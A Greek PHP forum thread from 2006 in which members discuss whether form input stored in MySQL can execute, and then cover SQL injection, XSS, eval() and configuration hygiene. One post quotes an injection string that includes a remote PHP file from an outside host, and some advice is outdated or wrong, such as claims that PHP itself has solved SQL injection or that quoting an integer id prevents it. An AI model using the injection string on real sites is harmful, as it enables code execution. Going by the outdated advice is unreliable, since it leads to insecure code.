θέματα ασφαλείας της mysql και php

Σε αυτή την περιοχή μπορείτε να βρείτε ή να αναζητήσετε πληροφορίες σχετικές με την PHP

Συντονιστές: WebDev Moderators, Super-Moderators, PHP Moderators

Απάντηση
Άβαταρ μέλους
avr_freak
Δημοσιεύσεις: 70
Εγγραφή: 13 Αύγ 2006 18:58
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από avr_freak » 24 Αύγ 2006 18:01

Θα ήθελα να κάνω μια ερώτηση που αφορά θέματα ασφαλείας της mysql και php (μπορεί σε κάποιους να φανεί αστεία) …
Υπάρχει περίπτωση άμα γράψουμε κώδικα php σε μια βάση mysql (σαν απλή εγγραφή από POSTαρισμα φορμας ) να εκτελεστεί ποτέ ? Θέτοντας σε κίνδυνο όλο το σύστημα ?

Άβαταρ μέλους
Risk
Δημοσιεύσεις: 319
Εγγραφή: 02 Μάιος 2006 01:16
Τοποθεσία: Κάπου εδώ γύρω...
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από Risk » 24 Αύγ 2006 18:43

Μου δημιούργησες απορία, αν και δεν νομίζω να γίνεται αυτό. Όταν δημιουργείς μια βάση,καθορίζεις τον τύπο που κάθε πεδίο δέχεται. Εν συνεχεία η εγγραφή που θα κάνεις από την φόρμα θα πάρει τα δεδομένα και θα τα τοποθετήσει στον πίνακα σαν text ή varchar (αν βεβαια έχεις ορίσει κάτι τέτοιο) και μετά από αυτό ο κώδικας σου δεν θα είναι τίποτε άλλο παραμόνο μια συμβολοσειρά σ'ενα πεδίο ενός πίνακα! Κάτι τέτοιο φαντάζομαι εγώ!
Εικόνα

Άβαταρ μέλους
Banavas
Script Master
Δημοσιεύσεις: 1367
Εγγραφή: 21 Νοέμ 2004 20:25
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από Banavas » 24 Αύγ 2006 20:56

Αν σου στείλω

"; include("http://mydomain/my_bad_file.php"); echo "

είναι ένα απλό κείμενο που μπορεί να αποθηκευτεί σαν VARCHAR

Αν καλέσεις το πεδίο μέσα σε μια echo εντολή αρχικά θα τερματιστεί η echo θα γίνει συμπερίληψη του my_bad_file και στη συνέχεια θα συνεχιστεί η echo εντολή σαν να μην συνέβει τίποτε.

Η λύση είναι μεγάλη προσοχή κατά την είσοδο δεδομένων στο site μας. Περιορισμός στα δεδομένα που γίνινται αποδεκτά από τον χρήστη στα απολύτως απαραίτητα.
Περιορισμός στο μήκος στο είδος των χαρακτήρων αποκλεισμός συμβόλων κλπ. (κοινώς φιλτράρισμα των δεδομένων που δίνει ο χρήστης)
Happy coding....
Μάρκος
http://lasernet.gr

Άβαταρ μέλους
avr_freak
Δημοσιεύσεις: 70
Εγγραφή: 13 Αύγ 2006 18:58
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από avr_freak » 24 Αύγ 2006 21:09

Μαρκο ,μπορεις να μας δωσεις ενα παραδειγμα φιλτραρισματος κατα την εισαγογη η κατα την ανακτηση δεδομενων σε μια βαση .... νομιζω θα μας βοηθουσε παρα πολυ ... :-?

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από cherouvim » 24 Αύγ 2006 21:27

@Banavas: Αυτό που λές απλά θα εκτυπώσει το κείμενο. Δεν θα το εκτελέσει. Για να εκτελεστεί πρέπει να τρέξει μέσα από την eval().

Φυσικά όποιος αποθηκεύει εντολές σε string κατάσταση στη βάση, και μετά τις τρέχει με eval() θα πρέπει να καταδικαστεί με 10 χρόνια υποχρεωτικού COBOL development.

Αυτό που μπορεί να συμβεί είναι το SQL injection, και για να το αποφύγουμε, χρησιμοποιούμε το
http://php.net/mysql_real_escape_string

Άβαταρ μέλους
nikirtsi
Δημοσιεύσεις: 169
Εγγραφή: 02 Ιουν 2006 16:35

θέματα ασφαλείας της mysql και php

Δημοσίευση από nikirtsi » 26 Σεπ 2006 22:21

Ωραίος Cherouvim...
Όπως σού αναφέρει ο Cherouvim Η Php Έχει τήν Eval η οποία κάνει ερμηνευτική τυποθεώρηση μέ αντικατάσταση εντολής.

Άν κατάλαβα όμως καλά αναφέρεσε σέ θέμα τό οποίο έχει νά κάνει μέ ασφάλεια...

Άν επομένως κάποιος χρήστης εισάγει σέ κάποιο πεδί Κωδικα σέ PHP αυτός δέν θά εκτελεστή ΠΟΤΕ ΜΑ ΠΟΤΈ έκ θελήσεως τού , εκτός μόνο καί άν τό θελήσεις εσύ έκτελώντας τήν eval.(Π.χ πυρήνες εφαρμογών βασίζονται σέ τέτοιες εντολές)


Τώρα όσο αναφορά τήν εισαγωγή sql statements όπως πάλι πολύ καλά σού είπε ο Cherouvim μπορείς νά κάνης backslash αντικατάσταση τών μή έγκυρών χαρακτήρων από τήν εντολή πού σού έδωσε αλλά είτε τήν χρησιμοποιήσεις είτε όχι η php έχει λύσει πλέον από μόνη τής τό πρόβλημα τό sql injections.....

Το πρόβλημα πού πιστεύω πώς είναι τό πιο ουσιατικό σέ τέτοια θέματα είναι τό τί γίνετε μέ τα javascripts injections....


Banava αυτό που λές πολύ απλά δέν θά συμβεί γιατί η PHP είναι on server side γλώσσα.
Ακόμα και ο ήλιος, στό αριστερό μελίγγι μου ανατέλλει καί στό ζερβό δύει.

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από cherouvim » 26 Σεπ 2006 22:45

Για προστασία από XSS attacks συνήθως αρκεί να κάνουμε html escape οτιδήποτε εκτυπώνουμε που έχει προέλθει από το χρήστη.

Άβαταρ μέλους
greekbytes
WebDev Moderator
Δημοσιεύσεις: 2438
Εγγραφή: 15 Νοέμ 2002 15:42
Τοποθεσία: Αθήνα
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από greekbytes » 27 Σεπ 2006 12:32

δεν ξέρω αν έχει αναφερθεί στο FS αυτό: http://phpsec.org/projects/guide/

Άβαταρ μέλους
nikirtsi
Δημοσιεύσεις: 169
Εγγραφή: 02 Ιουν 2006 16:35

θέματα ασφαλείας της mysql και php

Δημοσίευση από nikirtsi » 27 Σεπ 2006 18:32

Δέν αντιλέω Cherouvim Αλλά μέ αυτόν΄τόν τρόπο πού μόλις ανάφερεις απενεργοποιείς
τήν ικανότητα εις τόν χρήστη νά εισάξει οτιδήποτε έχει σχέση μέ HTML Tag/Statements
ή αναγκάζεις τόν προγραμματιστή τού τόπου νά φτιάξη 'μεταφραστή' τών εισαχθέντων έκ
χρήστη (τύπου BBcodes).

Τό νά αποτρέψεις επιθέσεις τύπου XSS νομίζω δέν είναι θέμα πού λύνετε μέ μία εντολή...
Ακόμα και ο ήλιος, στό αριστερό μελίγγι μου ανατέλλει καί στό ζερβό δύει.

Άβαταρ μέλους
cherouvim
Script Master
Δημοσιεύσεις: 3137
Εγγραφή: 13 Ιούλ 2005 22:56
Τοποθεσία: Athens, Greece
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από cherouvim » 27 Σεπ 2006 21:17

Το θέμα είναι πολύπλοκο, αλλά δεν ήξερα ότι μιλούσαμε για CMS/blog. Όταν είπα escape το user input, ενοούσα του ξένου χρήστη, και όχι του admin του site/app.

Άβαταρ μέλους
nikirtsi
Δημοσιεύσεις: 169
Εγγραφή: 02 Ιουν 2006 16:35

θέματα ασφαλείας της mysql και php

Δημοσίευση από nikirtsi » 28 Σεπ 2006 12:24

:) Ωραία καταλήξαμε κάπου....
καί μήν ξεχάσουμε ..... GreekBytes καταπληκτικό τό Secutity Guide ....
Χθές έλειπε τό Boss καί κατάφερα νά τό διαβάσω.......
Ακόμα και ο ήλιος, στό αριστερό μελίγγι μου ανατέλλει καί στό ζερβό δύει.

panosru
WebDev Moderator
Δημοσιεύσεις: 1885
Εγγραφή: 13 Σεπ 2005 16:13
Τοποθεσία: Camp

θέματα ασφαλείας της mysql και php

Δημοσίευση από panosru » 28 Σεπ 2006 15:55

poly oraia ola!

episeis ena allo tip pou den prepei na ksexname einai ta nottations sta MySQL Query mas ;)

prosopika akoma kai sto ID pou einai int sto query mou to exo etsi:

Κώδικας: Επιλογή όλων

... WHERE `id` = '{$id}'...
me single quotes dld, me ayton ton tropo mporoume na apofygoume tyxon SQL Injections

mporeite na diabasete perisotera sto Chapter 2, Forms and URLs ths mysql einai ena pdf tou Chris Shiflett

Άβαταρ μέλους
chchrist
Δημοσιεύσεις: 924
Εγγραφή: 28 Ιουν 2003 20:25
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από chchrist » 28 Σεπ 2006 17:15

Επίσης η χρησιμοποίηση κλάσεων όπως PEAR:: DB δείνει ακόμη ένα επίπεδο ασφάλειας λόγω της απόκρυψης που προσφέρουν. Αν φυσικά το υποστηρίζει ο server.

panosru
WebDev Moderator
Δημοσιεύσεις: 1885
Εγγραφή: 13 Σεπ 2005 16:13
Τοποθεσία: Camp

θέματα ασφαλείας της mysql και php

Δημοσίευση από panosru » 28 Σεπ 2006 18:16

nai ontos einai kah fash h PEAR, genikotera den protino na douleyeis eksoloklhrou me PEAR sta projects sou alla PEAR::DB aksizei kai mporeis na kaneis enan elenxo na deis an yposthrizete apo ton server sou kai tote na thn xrhshmopoihseis allios na xrhshmopoiseis custom functions ;)

Άβαταρ μέλους
alexandr0s
Δημοσιεύσεις: 1064
Εγγραφή: 25 Απρ 2006 17:16
Τοποθεσία: localhost
Επικοινωνία:

θέματα ασφαλείας της mysql και php

Δημοσίευση από alexandr0s » 29 Σεπ 2006 11:43

Επίσης μη ξεχάσεις να απενεργοποιήσεις την εμφάνιση λαθών php γιατί κάτι τέτοιο θα μπορούσε να παρουσιάσει άθελα πληροφορίες για την εφαρμογή σου σε περίπτωση που παρουσιαστεί κάποιο πρόβλημα. Επίσης μην αφήσεις σε HTML σχόλια κωδικούς της βάσης σου κτλ (ναι γίνεται και αυτό) και επίσης αν φτιάξεις και επίσης αν φτιάξεις ένα HTML query string να μην εμφανίζονται σε αυτό username και password της βάσης (αστείο ακούγεται αλλά το έχω δει). Μη ξεχάσεις τα include files τα οποία θα έχουν πληροφορίες για το connection σου να είναι σε path στο server το οποίο δεν βγαίνει στο internet.

Απάντηση

Επιστροφή στο “PHP Προγραμματισμός”

Μέλη σε σύνδεση

Μέλη σε αυτήν τη Δ. Συζήτηση: Δεν υπάρχουν εγγεγραμμένα μέλη και 0 επισκέπτες